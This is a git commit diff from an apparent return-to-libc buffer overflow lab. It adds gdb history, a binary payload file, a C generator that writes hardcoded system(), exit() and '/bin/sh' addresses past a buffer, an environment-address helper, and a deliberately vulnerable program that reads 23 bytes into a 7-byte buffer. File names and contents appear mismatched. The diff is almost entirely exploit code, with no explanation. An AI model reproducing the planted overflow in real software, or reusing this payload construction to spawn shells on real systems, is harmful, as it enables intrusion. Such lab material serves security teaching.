final push

Author: socket-var

.gdb_history

@@ -0,0 +1,22 @@
+run
+b main
+r
+p system
+p exit
+x/s 0xbffffe16
+run
+run
+run
+b main
+r
+p systen
+p system
+p exit
+r
+r
+r
+run
+b main
+run
+run
+run

badfile

@@ -0,0 +1 @@
+AAAAAAAAAAAAAAAAAAA�MڷЉٷ���

core

@@ -0,0 +1,18 @@
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+int main(int argc, char **argv)
+{
+char buf[31];
+FILE *badfile;
+badfile = fopen("./badfile", "w");
+
+strcpy(buf,"AAAAAAAAAAAAAAAAAAA");    // 19
+*(long *) &buf[27] = 0xbffffe0e ;   //  "/bin/sh"
+*(long *) &buf[19] = 0xb7da4da0 ;   //  system()
+*(long *) &buf[23] = 0xb7d989d0 ;   //  exit()
+fwrite(buf, sizeof(buf), 1, badfile);
+fclose(badfile);
+}
+
+

exploit

@@ -0,0 +1,6 @@
+int main() {
+char *shell = getenv("MYSHELL");
+if (shell)
+printf("%x\n", shell);
+return 0;
+}

exploit.c

@@ -0,0 +1,25 @@
+#include <stdlib.h>
+#include <stdio.h>
+
+int bof(FILE *badfile)
+{
+    char buffer[7];
+
+    fread(buffer, sizeof(char), 23, badfile);
+
+    return 1;
+}
+
+int main(int argc, char **argv)
+{
+    FILE *badfile;
+
+    badfile = fopen("badfile", "r");
+    bof(badfile);
+
+    printf("Returned Properly\n");
+
+    fclose(badfile);
+    return 1;
+}
+